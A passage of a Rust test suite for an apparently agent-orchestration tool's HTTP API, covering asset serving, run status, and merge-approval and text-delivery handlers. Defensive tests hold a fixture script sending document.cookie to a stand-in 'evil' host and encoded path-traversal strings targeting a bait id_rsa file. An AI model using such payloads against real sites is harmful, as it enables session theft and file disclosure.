10354 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
10355 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
10360
10361 assert_eq!(as_png.status, 200);
10362 assert_eq!(as_png.header("content-type"), Some("image/png"));
10363 assert_eq!(
10364 as_png.header("content-disposition"),
10365 None,
10366 "a raster image has no execution surface, so tapping it still shows it"
10367 );
10368 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
10369 }
10370
10371 #[tokio::test]
10372 async fn an_html_asset_is_never_served_as_html() {
10373 let fx = Fixture::start().await;
10374 let id = panel(
10375 &fx,
10376 "<p>see the notes</p>",
10377 &[
10378 (
10379 "notes.html",
10380 b"<script>fetch('http://evil/'+document.cookie)</script>",
10381 ),
10382 ("hook.js", b"fetch('http://evil/')"),
10383 ("data.json", b"{}"),
10384 ("HEADLINE.TXT", b"plain"),
10385 ],
10386 );
10387
10388 for name in ["notes.html", "hook.js", "data.json"] {
10389 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
10390 assert_eq!(res.status, 200, "{name}: {}", res.body);
10391 assert_eq!(
10396 res.header("content-type"),
10397 Some("application/octet-stream"),
10398 "{name} must not be a type the browser will execute or render"
10399 );
10400 }
10401 let txt = fx
10404 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
10405 .await;
10406 assert_eq!(
10407 txt.header("content-type"),
10408 Some("text/plain; charset=utf-8")
10409 );
10410 }
10411
10412 #[tokio::test]
10413 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
10414 let fx = Fixture::start().await;
10415 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
10416 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
10420
10421 for encoded in [
10428 "%2e%2e%2fid_rsa",
10429 "..%2fid_rsa",
10430 "..%5cid_rsa",
10431 "%2e%2e%5cid_rsa",
10432 "diff%00.svg",
10433 "..",
10434 ".hidden",
10435 "%2e%2e%2f%2e%2e%2fid_rsa",
10436 ] {
10437 let res = fx
10438 .get(&format!("/api/questions/{id}/asset/{encoded}"))
10439 .await;
10440 assert_eq!(
10441 res.status, 400,
10442 "`{encoded}` has to be refused by name, not looked up: {}",
10443 res.body
10444 );
10445 assert!(res.json()["error"].is_string(), "{}", res.body);
10446 }
10447
10448 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
10454 let res = fx
10455 .get(&format!("/api/questions/{id}/asset/{literal}"))
10456 .await;
10457 assert_eq!(
10458 res.status, 404,
10459 "`{literal}` must not match the asset route at all: {}",
10460 res.body
10461 );
10462 }
10463 }
10464
10465 #[tokio::test]
10466 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
10467 let fx = Fixture::start().await;
10468 let plain = ask(&fx, "Which backend?", &["SQLite"]);
10469 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
10470
10471 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
10475 assert_eq!(none.status, 404, "{}", none.body);
10476 assert!(none.json()["error"].is_string(), "{}", none.body);
10477 assert_eq!(
10478 fx.head(&format!("/api/questions/{plain}/panel"))
10479 .await
10480 .status,
10481 404,
10482 "the preflight is the only way the client can learn this"
10483 );
10484
10485 let missing = fx
10487 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
10488 .await;
10489 assert_eq!(missing.status, 404, "{}", missing.body);
10490 assert!(missing.json()["error"].is_string(), "{}", missing.body);
10491
10492 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
10494 assert_eq!(
10495 fx.get("/api/questions/nope/asset/diff.svg").await.status,
10496 404
10497 );
10498 }
10499
10500 #[tokio::test]
10501 async fn a_run_with_an_open_question_reads_as_waiting() {
10502 let fx = Fixture::start().await;
10503 let run = "20260902-000000-beef".to_owned();
10504 write_run(&fx.runs(), &run, RunStatus::Implementing);
10505
10506 let before = fx.get("/api/runs").await.json();
10507 assert_eq!(before[0]["waiting"], false, "{before}");
10508
10509 let store = fx.questions();
10510 let mut q = Question::new(
10511 run.clone(),
10512 "implement".to_owned(),
10513 "impl-A".to_owned(),
10514 "Which backend?".to_owned(),
10515 String::new(),
10516 vec!["SQLite".to_owned()],
10517 );
10518 store.put(&mut q).expect("put");
10519
10520 let during = fx.get("/api/runs").await.json();
10521 assert_eq!(during[0]["waiting"], true, "{during}");
10522
10523 q.answer(Answer::Choice("SQLite".to_owned()))
10526 .expect("answer");
10527 store.put(&mut q).expect("put");
10528 let after = fx.get("/api/runs").await.json();
10529 assert_eq!(after[0]["waiting"], false, "{after}");
10530 }
10531
10532 #[tokio::test]
10533 async fn an_open_question_is_listed_and_counted_by_health() {
10534 let fx = Fixture::start().await;
10535 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
10536
10537 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10538 let listed = fx.get("/api/questions").await.json();
10539 assert_eq!(listed.as_array().expect("array").len(), 1);
10540 assert_eq!(listed[0]["id"], id);
10541 assert_eq!(listed[0]["status"], "open");
10542 assert_eq!(listed[0]["choices"][1], "Redis");
10543 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10546 }
10547
10548 fn obsolete_approval_state() -> RunState {
10549 let mut state = crate::land::tests::repair_state(true, true);
10550 state.pr = Some(crate::run::PrRecord {
10551 url: "https://github.com/example/repo/pull/42".into(),
10552 number: 42,
10553 state: "open".into(),
10554 checks: "green".into(),
10555 round: 1,
10556 rounds: 4,
10557 red_at_merge: Vec::new(),
10558 });
10559 state
10560 }
10561
10562 #[tokio::test]
10563 async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
10564 for owner in ["missing", "current", "completed", "later"] {
10565 let fx = Fixture {
10566 home: TempDir::new().unwrap(),
10567 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10568 };
10569 let mut state = obsolete_approval_state();
10570 state.status = RunStatus::Landing;
10571 state.parked = true;
10572 state.driver_exited = true;
10573 let mut q = Question::new(
10574 state.id.clone(),
10575 crate::land::APPROVAL_NODE.into(),
10576 "land".into(),
10577 "Old approval".into(),
10578 "Original evidence".into(),
10579 vec!["merge".into(), "hold".into()],
10580 );
10581 state.land_approval = Some(crate::run::LandApproval {
10582 question: q.id.clone(),
10583 head: "head".into(),
10584 });
10585 state.save_under(fx.home.path()).unwrap();
10586 let stale = state.clone();
10587 fx.questions().put(&mut q).unwrap();
10588 let mut task = Task::new(
10589 "Owner".into(),
10590 "Original instruction".into(),
10591 state.repo.clone(),
10592 Source::Human,
10593 );
10594 task.runs.push(state.id.clone());
10595 task.status = if owner == "completed" {
10596 TaskStatus::Done
10597 } else {
10598 TaskStatus::Parked
10599 };
10600 if owner == "later" {
10601 task.runs.push("later-run".into());
10602 }
10603 if owner != "missing" {
10604 fx.queue().put(&mut task).unwrap();
10605 }
10606 let ui = Arc::new(Ui::new(
10607 fx.queue(),
10608 fx.questions(),
10609 fx.talks(),
10610 fx.runs(),
10611 fx.home.path().into(),
10612 state.repo.clone(),
10613 ));
10614 let response = question_answer(
10615 State(ui),
10616 Path(q.id.clone()),
10617 Ok(Json(NewAnswer {
10618 choice: Some(crate::merge_decision::DISMISS.into()),
10619 text: None,
10620 })),
10621 )
10622 .await
10623 .unwrap();
10624 assert_eq!(
10625 response.0.question.resolution().as_deref(),
10626 Some(crate::merge_decision::DISMISS)
10627 );
10628 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
10629 assert_eq!(disk.status, RunStatus::Superseded);
10630 assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
10631 assert!(!crate::merge_decision::resumable_hold(&disk));
10632 assert_eq!(
10633 serde_json::to_value(&disk.pr).unwrap(),
10634 serde_json::to_value(&stale.pr).unwrap()
10635 );
10636 assert_eq!(fx.questions().count_open(), 0);
10637 assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
10638 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10639 if owner == "missing" {
10640 assert!(fx.queue().list().is_empty());
10641 } else {
10642 let after = fx.queue().get(&task.id).unwrap();
10643 assert_eq!(
10644 after.status,
10645 if owner == "current" {
10646 TaskStatus::Done
10647 } else {
10648 task.status
10649 }
10650 );
10651 assert_eq!(after.runs, task.runs);
10652 assert_eq!(after.instruction, task.instruction);
10653 assert_eq!(after.action_applied(&q.id), owner == "current");
10654 }
10655 }
10656 }
10657
10658 #[tokio::test]
10659 async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
10660 let fx = Fixture::start().await;
10661 let mut state = obsolete_approval_state();
10662 state.status = RunStatus::Landing;
10663 state.parked = true;
10664 state.driver_exited = true;
10665 let mut q = Question::new(
10666 state.id.clone(),
10667 crate::land::APPROVAL_NODE.into(),
10668 "land".into(),
10669 "Superseded PR approval".into(),
10670 "Original review evidence".into(),
10671 vec!["merge".into(), "hold".into()],
10672 );
10673 state.land_approval = Some(crate::run::LandApproval {
10674 question: q.id.clone(),
10675 head: "old-reviewed-head".into(),
10676 });
10677 state.save_under(fx.home.path()).unwrap();
10680 let stale_driver = state.clone();
10681 fx.questions().put(&mut q).unwrap();
10682 let path = fx
10683 .home
10684 .path()
10685 .join("questions")
10686 .join(format!("{}.json", q.id));
10687 let mut legacy = serde_json::to_value(&q).unwrap();
10688 legacy["schema"] = 9.into();
10689 legacy.as_object_mut().unwrap().remove("merge_target");
10690 std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
10691
10692 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10695 let answer_path = format!("/api/questions/{}/answer", q.id);
10696 let res = fx.post(&answer_path, Some(&body)).await;
10697 assert_eq!(res.status, 200, "{}", res.body);
10698 let disk = fx.questions().get(&q.id).unwrap();
10699 assert_eq!(
10700 disk.resolution().as_deref(),
10701 Some(crate::merge_decision::DISMISS)
10702 );
10703 assert!(disk.detail.starts_with("Original review evidence"));
10704 let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
10705 assert_eq!(retired.status, RunStatus::Superseded);
10706 assert_eq!(
10707 serde_json::to_value(&retired.pr).unwrap(),
10708 serde_json::to_value(&state.pr).unwrap()
10709 );
10710 assert!(!retired.merge_decision.as_ref().unwrap().closed);
10711 assert!(!crate::merge_decision::resumable_hold(&retired));
10712 assert!(fx.queue().list().is_empty());
10713 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10714 let addr = Fixture::serve(
10716 fx.home.path(),
10717 PathBuf::from("/repo/magi"),
10718 launch_idle,
10719 None,
10720 )
10721 .await;
10722 let reconnected = Fixture {
10723 home: fx.home,
10724 addr,
10725 };
10726 let listed = reconnected.get("/api/questions").await.json();
10727 assert!(
10728 listed
10729 .as_array()
10730 .unwrap()
10731 .iter()
10732 .all(|q| q["status"] != "open")
10733 );
10734 assert_eq!(listed[0]["id"], q.id, "history remains available");
10735 assert_eq!(
10736 reconnected.get("/api/health").await.json()["questions_open"],
10737 0
10738 );
10739 assert_eq!(
10740 reconnected
10741 .post(&answer_path, Some(r#"{"choice":"merge"}"#))
10742 .await
10743 .status,
10744 409
10745 );
10746 assert!(
10748 reconnected
10749 .questions()
10750 .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
10751 .is_err()
10752 );
10753 assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
10756 }
10757
10758 #[tokio::test]
10759 async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
10760 let fx = Fixture::start().await;
10761 let mut state = obsolete_approval_state();
10762 state.status = RunStatus::Landing;
10763 state.driver_exited = true;
10764 let mut q = Question::new(
10765 state.id.clone(),
10766 crate::land::APPROVAL_NODE.into(),
10767 "land".into(),
10768 "Obsolete approval".into(),
10769 String::new(),
10770 vec!["merge".into(), "hold".into()],
10771 );
10772 state.land_approval = Some(crate::run::LandApproval {
10773 question: q.id.clone(),
10774 head: "head".into(),
10775 });
10776 state.save_under(fx.home.path()).unwrap();
10777 fx.questions().put(&mut q).unwrap();
10778 let mut task = Task::new(
10779 "Owner".into(),
10780 "Original instruction".into(),
10781 state.repo.clone(),
10782 Source::Human,
10783 );
10784 task.runs = vec![state.id.clone(), "later-run".into()];
10785 fx.queue().put(&mut task).unwrap();
10786 let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
10787 let claim = fx.queue().claim(&task.id).unwrap();
10788 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10789 let path = format!("/api/questions/{}/answer", q.id);
10790 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10791 assert!(fx.questions().get(&q.id).unwrap().status.open());
10792 drop(claim);
10793 let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
10794 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10795 assert!(fx.questions().get(&q.id).unwrap().status.open());
10796 drop(publication);
10797 state.driver_exited = false;
10799 state.driver_pid = None;
10800 state.save_under(fx.home.path()).unwrap();
10801 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10802 state.driver_exited = true;
10803 state.land_armed_head = Some("head".into());
10804 state.save_under(fx.home.path()).unwrap();
10805 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10806 state.land_armed_head = None;
10807 state.save_under(fx.home.path()).unwrap();
10808 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
10809 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10810 assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
10811 }
10812
10813 #[tokio::test]
10814 async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
10815 let fx = Fixture::start().await;
10816 let mut state = obsolete_approval_state();
10817 state.status = RunStatus::Landing;
10818 state.driver_exited = true;
10819 let mut q = Question::new(
10820 state.id.clone(),
10821 crate::land::APPROVAL_NODE.into(),
10822 "land".into(),
10823 "Obsolete approval".into(),
10824 String::new(),
10825 vec!["merge".into(), "hold".into()],
10826 );
10827 state.land_approval = Some(crate::run::LandApproval {
10828 question: q.id.clone(),
10829 head: "head".into(),
10830 });
10831 state.save_under(fx.home.path()).unwrap();
10832 fx.questions().put(&mut q).unwrap();
10833 let mut task = Task::new(
10834 "Owner".into(),
10835 "Original instruction".into(),
10836 state.repo.clone(),
10837 Source::Human,
10838 );
10839 task.runs.push(state.id.clone());
10840 task.status = TaskStatus::Parked;
10841 fx.queue().put(&mut task).unwrap();
10842 state.merge_decision = Some(crate::merge_decision::Decision {
10845 question: q.id.clone(),
10846 target: crate::merge_decision::Target {
10847 pr: state.pr.as_ref().unwrap().url.clone(),
10848 head: "head".into(),
10849 language: "ja".into(),
10850 },
10851 choice: crate::merge_decision::DISMISS.into(),
10852 closed: false,
10853 replacement_run: None,
10854 replacement_pr: None,
10855 });
10856 state.status = RunStatus::Superseded;
10857 state.save_under(fx.home.path()).unwrap();
10858 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10859 let path = format!("/api/questions/{}/answer", q.id);
10860 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
10861 let done = fx.queue().get(&task.id).unwrap();
10862 assert_eq!(done.status, TaskStatus::Done);
10863 assert_eq!(done.runs, task.runs);
10864 assert_eq!(done.instruction, task.instruction);
10865 assert!(done.action_applied(&q.id));
10866 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10867 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
10868 assert!(!fx.questions().get(&q.id).unwrap().status.open());
10869 }
10870
10871 #[tokio::test]
10872 async fn merge_decision_api_persists_exact_target_and_selected_action() {
10873 let fx = Fixture {
10874 home: TempDir::new().unwrap(),
10875 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10876 };
10877 for choice in [
10878 crate::land::HOLD,
10879 crate::land::REPAIR,
10880 crate::land::APPROVE,
10881 crate::merge_decision::WITHDRAW,
10882 "reimplement:beta",
10883 ] {
10884 let mut q = Question::new(
10885 "old-run".into(),
10886 crate::land::APPROVAL_NODE.into(),
10887 "land".into(),
10888 "Decision".into(),
10889 "Review findings".into(),
10890 vec![
10891 "merge".into(),
10892 "hold".into(),
10893 crate::land::REPAIR.into(),
10894 crate::merge_decision::WITHDRAW.into(),
10895 "reimplement:beta".into(),
10896 ],
10897 );
10898 q.merge_target = Some(crate::merge_decision::Target {
10899 pr: "https://github.com/example/repo/pull/42".into(),
10900 head: "exact-reviewed-head".into(),
10901 language: "ja".into(),
10902 });
10903 q.consult = Some(ask::ChatConsult {
10904 talk: "another-conversation".into(),
10905 at: jiff::Timestamp::now(),
10906 });
10907 fx.questions().put(&mut q).unwrap();
10908 let ui = Arc::new(Ui::new(
10909 fx.queue(),
10910 fx.questions(),
10911 fx.talks(),
10912 fx.runs(),
10913 fx.home.path().into(),
10914 std::path::PathBuf::from("."),
10915 ));
10916 let response = question_answer(
10917 State(ui.clone()),
10918 Path(q.id.clone()),
10919 Ok(Json(NewAnswer {
10920 choice: Some(choice.into()),
10921 text: None,
10922 })),
10923 )
10924 .await
10925 .unwrap();
10926 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
10927 let disk = fx.questions().get(&q.id).unwrap();
10928 assert_eq!(disk.merge_target, q.merge_target);
10929 assert_eq!(disk.consult, q.consult);
10930 assert!(
10931 disk.answer_authority.is_none(),
10932 "a direct owner card is its own decision"
10933 );
10934 assert_eq!(disk.resolution().as_deref(), Some(choice));
10935 assert!(
10936 question_answer(
10937 State(ui),
10938 Path(q.id.clone()),
10939 Ok(Json(NewAnswer {
10940 choice: Some("merge".into()),
10941 text: None
10942 }))
10943 )
10944 .await
10945 .is_err(),
10946 "an already settled decision cannot turn into merge approval"
10947 );
10948 }
10949 }
10950
10951 #[tokio::test]
10952 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
10953 let fx = Fixture {
10954 home: TempDir::new().unwrap(),
10955 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10956 };
10957 let mut state = crate::land::tests::repair_state(true, true);
10958 state.status = RunStatus::Landing;
10959 state.parked = true;
10960 state.driver_exited = true;
10961 let mut task = Task::new(
10962 "Existing PR owner".into(),
10963 state.instruction.clone(),
10964 state.repo.clone(),
10965 Source::Human,
10966 );
10967 task.runs.push(state.id.clone());
10968 task.status = TaskStatus::Parked;
10969 fx.queue().put(&mut task).unwrap();
10970 let mut q = Question::new(
10971 state.id.clone(),
10972 crate::land::APPROVAL_NODE.into(),
10973 "land".into(),
10974 "Contested merge".into(),
10975 "Original evidence".into(),
10976 vec!["merge".into(), "hold".into()],
10977 );
10978 state.land_approval = Some(crate::run::LandApproval {
10979 question: q.id.clone(),
10980 head: "reviewed-head".into(),
10981 });
10982 state.save_under(fx.home.path()).unwrap();
10983 fx.questions().put(&mut q).unwrap();
10984 task.hold_manual(Some("Pause this PR".into()));
10986 fx.queue().put(&mut task).unwrap();
10987 let ui = Arc::new(Ui::new(
10990 fx.queue(),
10991 fx.questions(),
10992 fx.talks(),
10993 fx.runs(),
10994 fx.home.path().to_path_buf(),
10995 state.repo.clone(),
10996 ));
10997 let response = question_answer(
10998 State(ui),
10999 Path(q.id.clone()),
11000 Ok(Json(NewAnswer {
11001 choice: Some(crate::land::REPAIR.into()),
11002 text: None,
11003 })),
11004 )
11005 .await
11006 .unwrap();
11007 assert_eq!(response.0.question.id, q.id);
11008 let upgraded = fx.questions().get(&q.id).unwrap();
11009 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
11010 assert!(upgraded.detail.starts_with("Original evidence"));
11011 let claim = fx.queue().claim(&task.id).unwrap();
11012 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11013 assert!(
11014 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
11015 "an existing driver keeps its claim"
11016 );
11017 drop(claim);
11018 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11019 let resumed = fx.queue().get(&task.id).unwrap();
11020 assert_eq!(
11021 resumed
11022 .resume_override
11023 .as_ref()
11024 .unwrap()
11025 .pinned_run
11026 .as_deref(),
11027 Some(state.id.as_str())
11028 );
11029 assert!(resumed.status.runnable());
11030 assert_eq!(resumed.instruction, task.instruction);
11031 assert_eq!(resumed.runs, task.runs);
11032 assert!(resumed.action_applied(&q.id));
11033 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11034 assert_eq!(fx.queue().list().len(), 1);
11035 assert_eq!(
11036 fx.queue().get(&task.id).unwrap().resume_override,
11037 resumed.resume_override
11038 );
11039 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11040 assert!(
11041 disk.merge_repairs.is_empty(),
11042 "only the claimed run driver may execute repair"
11043 );
11044 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
11045 }
11046
11047 #[tokio::test]
11048 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
11049 let fx = Fixture::start().await;
11050 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11051 let path = format!("/api/questions/{id}/answer");
11052
11053 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
11054 assert_eq!(res.status, 200, "{}", res.body);
11055 let body = res.json();
11056 assert_eq!(body["status"], "answered");
11057 assert_eq!(body["answer"]["choice"], "Redis");
11058
11059 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
11063 assert_eq!(again.status, 409, "{}", again.body);
11064 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11065 }
11066
11067 #[tokio::test]
11068 async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
11069 let home = tempfile::tempdir().unwrap();
11070 let ui = delta_test_ui(home.path());
11071 let mut q = Question::new(
11072 "task".into(),
11073 crate::land::APPROVAL_NODE.into(),
11074 "land".into(),
11075 "Explain?".into(),
11076 String::new(),
11077 vec!["hold".into()],
11078 );
11079 q.deputy = Some(ask::Deputy::new("context".into()));
11080 ui.questions.put(&mut q).unwrap();
11081 let mut cfg = stub_config();
11082 cfg.daemon.max_deputies = 0;
11083 let mut status = crate::daemon::Status::new();
11084 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
11085 crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
11086 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
11087 let error = question_say(
11088 State(ui.clone()),
11089 Path(q.id.clone()),
11090 Ok(Json(NewSay {
11091 body: "Explain the findings".into(),
11092 })),
11093 )
11094 .await
11095 .unwrap_err();
11096 assert_eq!(
11097 error.text_reason,
11098 Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
11099 );
11100 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
11101
11102 let mut text = Question::new(
11103 "task".into(),
11104 "ask".into(),
11105 "operator".into(),
11106 "Which name?".into(),
11107 String::new(),
11108 vec![],
11109 );
11110 ui.questions.put(&mut text).unwrap();
11111 let Json(view) = question_answer(
11112 State(ui.clone()),
11113 Path(text.id.clone()),
11114 Ok(Json(NewAnswer {
11115 choice: None,
11116 text: Some("chosen name".into()),
11117 })),
11118 )
11119 .await
11120 .unwrap();
11121 assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
11122 assert!(!ui.questions.get(&text.id).unwrap().status.open());
11123 }
11124
11125 #[tokio::test]
11126 async fn question_text_handler_admission_without_transport() {
11127 let home = tempfile::tempdir().unwrap();
11128 let ui = delta_test_ui(home.path());
11129 let mut q = Question::new(
11130 "task".into(),
11131 crate::land::APPROVAL_NODE.into(),
11132 "land".into(),
11133 "May this PR merge?".into(),
11134 String::new(),
11135 vec!["hold".into()],
11136 );
11137 q.deputy = Some(ask::Deputy::new("reviewed head".into()));
11138 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11139 ui.questions.put(&mut q).unwrap();
11140 let say = || {
11141 Ok(Json(NewSay {
11142 body: "Explain the findings".into(),
11143 }))
11144 };
11145 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
11146 .await
11147 .unwrap_err();
11148 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
11149 let response = rejected.into_response();
11150 let body = axum::body::to_bytes(response.into_body(), usize::MAX)
11151 .await
11152 .unwrap();
11153 let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
11154 assert_eq!(body["code"], "question_text_unavailable");
11155 assert_eq!(body["reason"], "deputy_exhausted");
11156 assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
11157 assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
11158 ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
11159 let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
11160 .await
11161 .unwrap();
11162 assert_eq!(view.text_delivery.state, "live");
11163 assert!(view.question.waiter.is_none());
11164 assert!(view.question.cwd.is_none());
11165 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
11166 ui.questions.drop_lease(&q.id);
11167 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
11168 .await
11169 .unwrap_err();
11170 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
11171 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
11172 let _ = question_answer(
11173 State(ui.clone()),
11174 Path(q.id.clone()),
11175 Ok(Json(NewAnswer {
11176 choice: Some("hold".into()),
11177 text: None,
11178 })),
11179 )
11180 .await
11181 .unwrap();
11182 assert_eq!(
11183 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
11184 Some("hold")
11185 );
11186 }
11187
11188 #[tokio::test]
11189 async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
11190 let fx = Fixture::start().await;
11191 let store = fx.questions();
11192 let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
11193 store
11194 .update(&id, |q| {
11195 q.node = crate::land::APPROVAL_NODE.to_owned();
11196 q.deputy = Some(ask::Deputy::new("approval".to_owned()));
11197 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11198 Ok(())
11199 })
11200 .unwrap();
11201 let path = format!("/api/questions/{id}/say");
11202 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
11203 assert_eq!(refused.status, 422, "{}", refused.body);
11204 assert!(
11205 refused.json()["error"]
11206 .as_str()
11207 .unwrap()
11208 .contains("deputy_exhausted")
11209 );
11210 assert!(store.get(&id).unwrap().thread.is_empty());
11211
11212 store.beat(&id, ask::WaiterKind::Deputy);
11214 let view = fx.get("/api/questions").await.json();
11215 assert_eq!(view[0]["text_delivery"]["state"], "live");
11216 let accepted = fx
11217 .post(&path, Some(r#"{"body":"explain the findings"}"#))
11218 .await;
11219 assert_eq!(accepted.status, 200, "{}", accepted.body);
11220 let before = std::fs::read(store.path_of(&id)).unwrap();
11221
11222 store.drop_lease(&id);
11225 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
11226 assert_eq!(refused.status, 422, "{}", refused.body);
11227 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
11228 let held = fx
11229 .post(
11230 &format!("/api/questions/{id}/answer"),
11231 Some(r#"{"choice":"hold"}"#),
11232 )
11233 .await;
11234 assert_eq!(held.status, 200, "{}", held.body);
11235 assert_eq!(store.get(&id).unwrap().thread.len(), 1);
11236 }
11237
11238 #[tokio::test]
11239 async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
11240 let repo = tempfile::tempdir().unwrap();
11241 let mut cfg = stub_config();
11242 cfg.daemon.max_deputies = 0;
11243 std::fs::write(
11244 repo.path().join("magi.toml"),
11245 toml::to_string(&cfg).unwrap(),
11246 )
11247 .unwrap();
11248 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
11249 let mut status = crate::daemon::Status::new();
11250 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
11251 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
11252 let id = ask(&fx, "Explain?", &["hold"]);
11253 fx.questions()
11254 .update(&id, |q| {
11255 q.node = crate::land::APPROVAL_NODE.into();
11256 q.deputy = Some(ask::Deputy::new("context".into()));
11257 q.deputy.as_mut().unwrap().agent = "stub".into();
11258 Ok(())
11259 })
11260 .unwrap();
11261 cfg.daemon.max_deputies = 1;
11262 std::fs::write(
11263 repo.path().join("magi.toml"),
11264 toml::to_string(&cfg).unwrap(),
11265 )
11266 .unwrap();
11267 let view = fx.get("/api/questions").await.json();
11268 assert_eq!(view[0]["deputies_enabled"], true);
11269 assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
11270 let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
11271 let res = fx
11272 .post(
11273 &format!("/api/questions/{id}/say"),
11274 Some(r#"{"body":"Please explain"}"#),
11275 )
11276 .await;
11277 assert_eq!(res.status, 422, "{}", res.body);
11278 assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
11279 }
11280
11281 #[tokio::test]
11282 async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
11283 let fx = Fixture::start().await;
11284 let id = ask(&fx, "No seat", &[]);
11285 let store = fx.questions();
11286 let before = std::fs::read(store.path_of(&id)).unwrap();
11287 let res = fx
11288 .post(
11289 &format!("/api/questions/{id}/say"),
11290 Some(r#"{"body":"hello"}"#),
11291 )
11292 .await;
11293 assert_eq!(res.status, 422, "{}", res.body);
11294 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
11295 let res = fx
11296 .post(
11297 &format!("/api/questions/{id}/answer"),
